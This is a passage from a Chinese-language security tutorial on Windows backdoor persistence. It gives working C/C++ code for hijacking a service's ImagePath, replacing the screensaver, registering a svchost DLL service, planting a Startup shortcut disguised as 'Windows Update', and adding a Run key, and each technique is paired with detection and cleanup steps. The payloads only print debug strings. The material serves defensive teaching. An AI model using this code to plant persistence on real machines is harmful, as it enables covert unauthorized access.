运行后的注册表键值情况如下图所示:

检查及清除方法

检查以下 2 个注册表路径中的「Shell」、「Userinit」、「Notify」等键值是否存在不明来历的程序路径

1)HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

2)HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\

关键键值如下图所示:

1)Winlogon\Notify – 默认指向处理 Winlogon 事件的通知包 DLL

2)Winlogon\Userinit – 默认指向 userinit.exe,即用户登录时执行的用户初始化程序

3)Winlogon\Shell – 默认指向 explorer.exe,即用户登录时执行的系统 shell

篡改服务进程

原理及代码介绍

Windows 服务的配置信息存储在注册表中,一个服务项有许多键值,想要修改现有服务,就要了解服务中的键值代表的功能。

「DisplayName」,字符串值,对应服务名称;

「Description」,字符串值,对应服务描述;

「ImagePath」,字符串值,对应该服务程序所在的路径;

「ObjectName」,字符串值,值为「LocalSystem」,表示本地登录;

「ErrorControl」,DWORD 值,值为「1」;

「Start」,DWORD 值,值为 2 表示自动运行,值为 3 表示手动运行,值为 4 表示禁止;

「Type」,DWORD 值,应用程序对应 10,其他对应 20。

在这里,我们只需要注意「ImagePath」,「Start」,「Type」三个键值,「ImagePath」修改为自己的程序路径,「Start」改为 2,自动运行,「Type」改为 10 应用程序。

接下来就要选择一个服务,在这里,我们选择的服务是「COMSysApp」,本身「Type」为 10。

修改键值的代码如下:

    HKEY hKey;

    DWORD dwDisposition;

    DWORD dwData = 2;

    const char system[] = "C:\\SeviceTopSec.exe";//hello.exe

    if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_LOCAL_MACHINE,

       "SYSTEM\\CurrentControlSet\\services\\COMSysApp", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey, "ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 + ::lstrlenA(system))))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))

    {

       return 0;

    }

    return 0;

但是「ImagePath」中的程序并不是普通的程序,需要用到一些特定的 API,完成服务的创建流程。

总的来说,一个遵守服务控制管理程序接口要求的程序包含下面三个函数:

服务程序主函数(main):调用系统函数 StartServiceCtrlDispatcher 连接程序主线程到服务控制管理程序。

服务入口点函数(ServiceMain):执行服务初始化任务,同时执行多个服务的服务进程有多个服务入口函数。

控制服务处理程序函数(Handler):在服务程序收到控制请求时由控制分发线程引用。

服务程序代码如下:

HANDLE hServiceThread;

void KillService();

char* strServiceName = "sev_topsec";

SERVICE_STATUS_HANDLE nServiceStatusHandle;

HANDLE killServiceEvent;

BOOL nServiceRunning;

DWORD nServiceCurrentStatus;

void main(int argc, char* argv[])

{

    SERVICE_TABLE_ENTRYA ServiceTable[] =

    {

    {strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},

    {NULL,NULL}

    };

    BOOL success;

    success = StartServiceCtrlDispatcherA(ServiceTable);

    if (!success)

    {

       printf("fialed!");

    }

}

void ServiceMain(DWORD argc, LPTSTR* argv)

{

    BOOL success;

    nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,

       (LPHANDLER_FUNCTION)ServiceCtrlHandler);

    success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);

    killServiceEvent = CreateEvent(0, TRUE, FALSE, 0);

    if (killServiceEvent == NULL)

    {

       return;

    }

    success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);

    success = InitThread();

    nServiceCurrentStatus = SERVICE_RUNNING;

    success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);

    WaitForSingleObject(killServiceEvent, INFINITE);

    CloseHandle(killServiceEvent);

}

BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)

{

    BOOL success;

    SERVICE_STATUS nServiceStatus;

    nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

    nServiceStatus.dwCurrentState = dwCurrentState;

    //

    if (dwCurrentState == SERVICE_START_PENDING)

    {

       nServiceStatus.dwControlsAccepted = 0;

    }

    else

    {

       nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP

           | SERVICE_ACCEPT_SHUTDOWN;

    }

    if (dwServiceSpecificExitCode == 0)

    {

       nServiceStatus.dwWin32ExitCode = dwWin32ExitCode;

    }

    else

    {

       nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;

    }

    nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;

    //

    nServiceStatus.dwCheckPoint = dwCheckPoint;

    nServiceStatus.dwWaitHint = dwWaitHint;

    success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);

    if (!success)

    {

       KillService();

       return success;

    }

    else

       return success;

}

BOOL InitThread()

{

    DWORD id;

    hServiceThread = CreateThread(0, 0,

       (LPTHREAD_START_ROUTINE)OutputString,

       0, 0, &id);

    if (hServiceThread == 0)

    {

       return false;

    }

    else

    {

       nServiceRunning = true;

       return true;

    }

}

DWORD OutputString(LPDWORD param)

{

    OutputDebugString(L"Hello TopSec\n");

    return 0;

}

void KillService()

{

    nServiceRunning = false;

    SetEvent(killServiceEvent);

    ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, 0, 0, 0);

}

void ServiceCtrlHandler(DWORD dwControlCode)

{

    BOOL success;

    switch (dwControlCode)

    {

    case SERVICE_CONTROL_SHUTDOWN:

    case SERVICE_CONTROL_STOP:

       nServiceCurrentStatus = SERVICE_STOP_PENDING;

       success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);

       KillService();

       return;

    default:

       break;

    }

    ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, 0, 0, 0);

}

运行效果图

先修改注册表中的键值

重启「COMSysApp「服务

发现在 DebugView 中打印出字符串。

在任务管理器中点击转到进程,发现我们自己写的服务程序正在运行

检查及清除方法

1.检查注册表中与已知程序无关的注册表项的更改

2.检查已知服务的异常进程调用树。

替换屏幕保护程序

原理及代码介绍

屏幕保护是为了保护显示器而设计的一种专门的程序。当时设计的初衷是为了防止电脑因无人操作而使显示器长时间显示同一个画面,导致老化而缩短显示器寿命。用户在一定时间内不活动鼠标键盘之后会执行屏幕保护程序,屏保程序为具有.scr 文件扩展名的可执行文件(PE)。

攻击者可以通过将屏幕保护程序设置为在用户鼠标键盘不活动的一定时间段之后运行恶意软件,也就是利用屏幕保护程序设置来维持后门的持久性。

屏幕保护程序的配置信息存储在在注册表中,路径为 HKCU\Control Panel\Desktop,我们也可以通过改写关键键值来实现后门持久:

SCRNSAVE.EXE – 设置为恶意 PE 路径

ScreenSaveActive – 设置为「1」以启用屏幕保护程序

ScreenSaverIsSecure – 设置为「0」,不需要密码即可解锁

ScreenSaverTimeout – 指定在屏幕保护程序启动之前系统保持空闲的时间。

更具体的信息,可以查看微软对相关注册表项的说明页面, 点击此处

如下的代码演示了如何通过屏保程序来实现后门持久化:

BOOL add_to_screensaver()

{

BOOL ret = FALSE;

LONG rcode = NULL;

DWORD key_value_type;

BYTE shell_value_buffer[MAX_PATH * 2];

DWORD value_buffer_size = sizeof(shell_value_buffer) ;

HKEY desktop_key = NULL;

DWORD set_value_size;

BYTE set_buffer[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Control Panel\\Desktop"),

NULL, KEY_ALL_ACCESS, &desktop_key);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveActive"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

//找不到指定的键值,说明未开启屏保功能。

if (rcode == 0x2)

{

//设置待启动程序路径

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置启动时间,60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//开启屏保功能

lstrcpy((TCHAR*)set_buffer, _TEXT("1"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

else

{

goto ERROR_EXIT;

}

}

else

{

//有键值存在, 已开启屏幕保护功能,需要保存原设置,驻留程序按实际情况启动原屏保

if(lstrcmp(_TEXT("1"), (TCHAR*)shell_value_buffer) == NULL)

{

//读取原值并保存

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("SCRNSAVE.EXE"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode != 0x2)

{

goto ERROR_EXIT;

}

//当 ScreenSaveActive 值为 1 而又不存在 SCRNSAVE.EXE 时,不备份。

if(rcode != 0x2)

{

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE.BAK"), NULL, REG_SZ, shell_value_buffer, value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

//改为待启动程序

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//判断是否有配置屏保启动时间

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveTimeOut"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode == 0x2)

{

//设置启动时间,60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

}

else if(lstrcmp(_TEXT("0"), (TCHAR*)shell_value_buffer) == NULL)

{

//该值为 0,未开启屏幕保护功能

//设置待启动程序路径

lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置启动时间,60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT("60"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//开启屏保功能

lstrcpy((TCHAR*)set_buffer, _TEXT("1"));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

}

ret = TRUE;

ERROR_EXIT:

if (desktop_key != NULL)

{

RegCloseKey(desktop_key);

desktop_key = NULL;

}

return ret;

}

其中 topsec.exe 代码如下:

#include "stdafx.h"

#include <Windows.h>

#include <tchar.h>

int _tmain(int argc, _TCHAR* argv[])

{

int i = 10000;

while(i)

{

i--;

Sleep(1000);

OutputDebugString(_TEXT("Hello Topsec!!!"));

}

return 0;

}

运行效果图

当该用户因鼠标键盘未操作触发屏保程序运行,我们的程序就被启动了,运行后的效果及注册表键值情况如下图所示:

检查及清除方法

1.检查注册表路径 HKCU\Control Panel\Desktop,删除包含来历不明的屏保程序配置信息。

2.通过组策略以强制用户使用专用的屏幕保护程序,或者是通过组策略完全禁用屏保功能。

创建新服务

原理及代码介绍

在 Windows 上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE 文件注册为服务,也可以将 DLL 文件注册为服务,本文这一部分将以 DLL 类型的服务为例,介绍安装及检查的思路。

相信不论是安全从业者还是普通用户都听说过 svchost 进程,系统中存在不少 Svchost 进程,有的还会占用很高的 cpu,究竟这个 Svchost 是何方神圣?是恶意代码还是正常程序?相信不少人用户发出过这样的疑问。实际上 Svchost 是一个正常的系统程序,只不过他是 DLL 类型服务的外壳程序,容易被恶意代码所利用。

Service Host (Svchost.exe) 是共享服务进程,作为 DLL 文件类型服务的外壳,由 Svchost 程序加载指定服务的 DLL 文件。在 Windows 10 1703 以前,不同的共享服务会组织到关联的 Service host 组中,每个组运行在不同的 Service Host 进程中。这样如果一个 Service Host 发生问题不会影响其他的 Service Host。Windows 通过将服务与匹配的安全性要求相结合,来确定 Service Host Groups,一部分默认的组名如下:

Local Service

Local Service No Network

Local Service Network Restricted

Local System

Local System Network Restricted

Network Service

而从 Windows 10 Creators Update(版本 1703)开始,先前分组的服务将被分开,每个服务将在其自己的 SvcHost Host 进程中运行。对于运行 Client Desktop SKU 的 RAM 超过 3.5 GB 的系统,此更改是自动的。在具有 3.5 GB 或更少内存的系统上,将继续将服务分组到共享的 SvcHost 进程中。

此设计更改的好处包括:

通过将关键网络服务与主机中的其他非网络服务的故障隔离,并在网络组件崩溃时添加无缝恢复网络连接的能力,提高了可靠性。

通过消除与隔离共享主机中的行为不当服务相关的故障排除开销,降低了支持成本。

通过提供额外的服务间隔离来提高安全性

通过允许每项服务设置和权限提高可扩展性

通过按服务 CPU,I / O 和内存管理改进资源管理,并增加清晰的诊断数据(报告每个服务的 CPU,I / O 和网络使用情况)。

在系统启动时,Svchost.exe 会检查注册表以确定应加载哪些服务,注册表路径如下:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost . 在笔者的电脑上,如下图:

而在注册表 HKLM\SYSTEM\CurrentControlSet\Services,保存着注册服务的相关信息,以 netsvcs 组中的 AeLoookupSvc 为例,我们看一下相关信息:

该路径下保存了服务的 ImagePath、Description、DisplayName 等信息,当然还包含一些服务的其他配置,这里不一一列举。如下的代码演示了如何添加一个利用 Svchost 启动的 DLL 共享服务。

BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot;

BYTE buff[2048];

TCHAR* ptr = NULL;

DWORD type;

DWORD size = sizeof(buff);

int i = 0;

bool bExist = false;

TCHAR tmp_service_name[50];

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");

rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

return NULL;

}

rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

RegCloseKey(hkRoot);

return NULL;

}

do

{

wsprintf(tmp_service_name, _TEXT("netsvcs_0x%d"), i);

for(ptr = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)

{

if (lstrcmpi(ptr, tmp_service_name) == 0)

{

bExist = true;

break;

}

}

if (bExist == false)

{

break;

}

bExist = false;

i++;

} while(1);

memcpy(buff + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

rc = RegSetValueEx(hkRoot, _TEXT("netsvcs"), 0, REG_MULTI_SZ, buff, size + lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROE_EXIT;

}

if (bExist == false)

{

lstrcpyn(service_name_buffer, tmp_service_name, *buffer_size);

*buffer_size =lstrlen(service_name_buffer);

}

bRet = TRUE;

ERROE_EXIT:

if (hkRoot != NULL)

{

RegCloseKey(hkRoot);

hkRoot = NULL;

}

return bRet;

}

BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot = HKEY_LOCAL_MACHINE;

HKEY hkParam = 0;

SC_HANDLE hscm = NULL;

SC_HANDLE schService = NULL;

TCHAR   strModulePath[MAX_PATH];

TCHAR  strSysDir[MAX_PATH];

DWORD  dwStartType = 0;

BYTE buff[1024];

DWORD type;

DWORD size = sizeof(buff);

TCHAR* binary_path = _TEXT("%SystemRoot%\\System32\\svchost.exe -k netsvcs");

TCHAR* ptr;

TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");

rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);

RegCloseKey(hkRoot);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

//install service

hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

if (hscm == NULL)

{

goto ERROR_EXIT;

}

if(!search_svchost_service_name(service_name_buffer, buffer_size))

{

goto ERROR_EXIT;

}

schService = CreateService(

hscm,                      // SCManager database

service_name_buffer,                    // name of service

service_name_buffer,           // service name to display

SERVICE_ALL_ACCESS,        // desired access

SERVICE_WIN32_OWN_PROCESS,

SERVICE_AUTO_START,      // start type

SERVICE_ERROR_NORMAL,      // error control type

binary_path,        // service's binary

NULL,                      // no load ordering group

NULL,                      // no tag identifier

NULL,                      // no dependencies

NULL,                      // LocalSystem account

NULL);                     // no password

dwStartType = SERVICE_WIN32_OWN_PROCESS;

if (schService == NULL)

{

goto ERROR_EXIT;

}

CloseServiceHandle(schService);

CloseServiceHandle(hscm);

//config service

hkRoot = HKEY_LOCAL_MACHINE;

lstrcpy((TCHAR*)buff, _TEXT("SYSTEM\\CurrentControlSet\\Services\\"));

lstrcat((TCHAR*)buff, service_name_buffer);

rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegCreateKey(hkRoot, _TEXT("Parameters"), &hkParam);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegSetValueEx(hkParam, _TEXT("ServiceDll"), 0, REG_EXPAND_SZ, (PBYTE)full_dll_path, lstrlen(full_dll_path)  * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

bRet = TRUE;

ERROR_EXIT:

if(hkParam != NULL)

{

RegCloseKey(hkParam);

hkParam = NULL;

}

if(schService != NULL)

{

CloseServiceHandle(schService);

schService = NULL;

}

if(hscm != NULL)

{

CloseServiceHandle(hscm);

hscm = NULL;

}

return bRet;

}

void start_service(LPCTSTR lpService)

{

SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

if ( NULL != hSCManager )

{

SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);

if ( NULL != hService )

{

StartService(hService, 0, NULL);

CloseServiceHandle( hService );

}

CloseServiceHandle( hSCManager );

}

}

BOOL add_to_service()

{

//

BOOL bRet = FALSE;

DWORD service_name_size;

TCHAR service_name[MAXBYTE * 2];

service_name_size = sizeof(service_name) / sizeof(TCHAR);

if(install_service(_TEXT("C:\\service.dll"),service_name, &service_name_size))

{

start_service(service_name);

_tprintf(_TEXT("install service successful!!!"));

bRet= TRUE;

}

else

{

_tprintf(_TEXT("can not install service!!!"));

}

return bRet;

}

而服务 DLL 也需要满足一定的格式,该服务必须导出 ServiceMain() 函数并调用 RegisterServiceCtrlHandlerEx() 函数注册 Service Handler,具体的服务 DLL 的代码如下如下

BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call, 

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

SERVICE_STATUS_HANDLE g_service_status_handle = NULL;

SERVICE_STATUS g_service_status =

{

SERVICE_WIN32_SHARE_PROCESS,

SERVICE_START_PENDING,

SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE

};

DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)

{

switch (dwControl)

{

case SERVICE_CONTROL_STOP:

case SERVICE_CONTROL_SHUTDOWN:

g_service_status.dwCurrentState = SERVICE_STOPPED;

break;

case SERVICE_CONTROL_PAUSE:

g_service_status.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

g_service_status.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

break;

};

SetServiceStatus(g_service_status_handle, &g_service_status);

return NO_ERROR;

}

extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)

{

g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT("Svchost Service"), ServiceHandler, NULL);

if (!g_service_status_handle)

{

return;

}

g_service_status.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus(g_service_status_handle, &g_service_status);

while(TRUE)

{

Sleep(1000);

OutputDebugString(_TEXT("Hello Topsec In Svchost"));

}

return;

};

运行效果图

运行样本文件后,服务被创建起来,在后台稳定运行中。

检查及清除方法

3.监控新服务的创建,检查新服务的关键信息,如 ImagePath,对文件进行验证。禁止不明来源服务的安装行为

4.使用 Sysinternals Autoruns 工具检查已有的服务,并验证服务模块的合法性。如验证是否有文件签名、签名是否正常。可以使用 AutoRuns 工具删除不安全的服务

启动项

原理及代码介绍

启动项,就是开机的时候系统会在前台或者后台运行的程序。设置启动项的方式分为两种:

1. Startup 文件夹

文件快捷方式是一种用户界面中的句柄,它允许用户找到或使用位于另一个目录或文件夹的一个文件或资源,快捷方式还可能额外指定命令行参数,从而在运行它时将所定参数传递到目标程序。

Startup 文件夹是 Windows 操作系统中的功能,它使用户能够在 Windows 启动时自动运行指定的程序集。在不同版本的 Windows 中,启动文件夹的位置可能略有不同。任何需要在系统启动时自动运行的程序都必须存储为此文件夹中的快捷方式。

攻击者可以通过在 Startup 目录建立快捷方式以执行其需要持久化的程序。他们可以创建一个新的快捷方式作为间接手段,可以使用伪装看起来像一个合法的程序。攻击者还可以编辑目标路径或完全替换现有快捷方式,以便执行其工具而不是预期的合法程序。

如下的代码演示了在 Startup 目录建立快捷方式来实现后门持久化:

BOOL add_to_lnkfile()

{

    BOOL ret = FALSE;

HRESULT hcode;

TCHAR startup_path[MAX_PATH];

TCHAR save_path[MAX_PATH*2];

TCHAR command[MAXBYTE * 2];

IShellLink* shelllnk = NULL;

IPersistFile* pstfile = NULL;

hcode = CoInitialize(NULL);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&shelllnk);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);

if (hcode != S_OK)

{

goto Error_Exit;

}

//设置快捷方式命令

wsprintf(command, _TEXT("C:\\windows\\system32\\rundll32.exe"));

hcode = shelllnk->SetPath(command);

if (hcode != S_OK)

{

MessageBox(NULL, command, command,MB_OK);

goto Error_Exit;

}

wsprintf(command, _TEXT(" %s %s"), _TEXT("c:\\topsec.dll"), _TEXT("RunProc"));

hcode = shelllnk->SetArguments(command);

if (hcode != S_OK)

{

goto Error_Exit;

}

wsprintf(command, _TEXT("%s"), _TEXT("This is For Windows Update!!!"));

hcode = shelllnk->SetDescription(command);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = shelllnk->SetWorkingDirectory(_TEXT("c:\\"));

if (hcode != S_OK)

{

goto Error_Exit;

}

//获取启动目录

if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALSE)

{

goto Error_Exit;

}

wsprintf(save_path, _TEXT("%s\\%s"), startup_path, _TEXT("Windows Update.Lnk"));

hcode = pstfile->Save(save_path, TRUE);

if (hcode != S_OK)

{

goto Error_Exit;

}

ret = TRUE;

Error_Exit:

if (shelllnk != NULL)

{

shelllnk->Release();

shelllnk = NULL;

}

if (pstfile != NULL)

{

pstfile->Release();

pstfile = NULL;

}

CoUninitialize();

return ret;

}

从资源中释放文件的代码如下:

BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)

{

BOOL ret = FALSE;

DWORD cb = NULL;

HRSRC h_resource = NULL;

DWORD resource_size  = NULL;

LPVOID resource_pt = NULL;

HGLOBAL h_resource_load = NULL;

HANDLE save_file  = NULL;

h_resource = FindResource(NULL, resource_name, resource_type);

if (NULL == h_resource)

{

goto Error_Exit;

}

resource_size = SizeofResource(NULL, h_resource);

if (0 >= resource_size)

{

goto Error_Exit;

}

h_resource_load = LoadResource(NULL, h_resource);

if (NULL == h_resource_load)

{

goto Error_Exit;

}

resource_pt = LockResource(h_resource_load);

if (NULL == resource_pt)

{

goto Error_Exit;

}

save_file = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if(save_file == INVALID_HANDLE_VALUE)

{

goto Error_Exit;

}

for (DWORD i = 0; i < resource_size; i++)

{

if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) == FALSE) ||

(sizeof(BYTE) != cb))

{

goto Error_Exit;

}

}

ret = TRUE;

Error_Exit:

if (h_resource_load != NULL)

{

FreeResource(h_resource_load);

h_resource_load = NULL;

}

if (h_resource != NULL)

{

CloseHandle(h_resource);

h_resource = NULL;

}

return ret;

}

2.Run 注册表项

默认情况下,在 Windows 系统上创建下列运行键: 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

这个 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx 也可用,但在 WindowsVista 和更新版本上默认不创建。

只需挑选其中一项修改就可以,下面代码以 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 为例:

#include <iostream>

#include<windows.h>

int main()

{

//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\HelloTopSec.exe";//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, "hello", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))))

{

return 0;

}

return 0;

}

运行效果图

在 Startup 目录的快捷方式会在系统启动的时候被执行

 

HelloTopSec.exe 在系统启动的时候被执行

检查及清除方法

1.检查所有位于 Startup 目录的快捷方式,删除有不明来源的快捷方式

2.由于快捷方式的目标路径可能不会改变,因此对与已知软件更改,修补程序,删除等无关的快捷方式文件的修改都可能是可疑的。

3.检查注册表项的更改。

WMI 事件过滤

原理及代码介绍

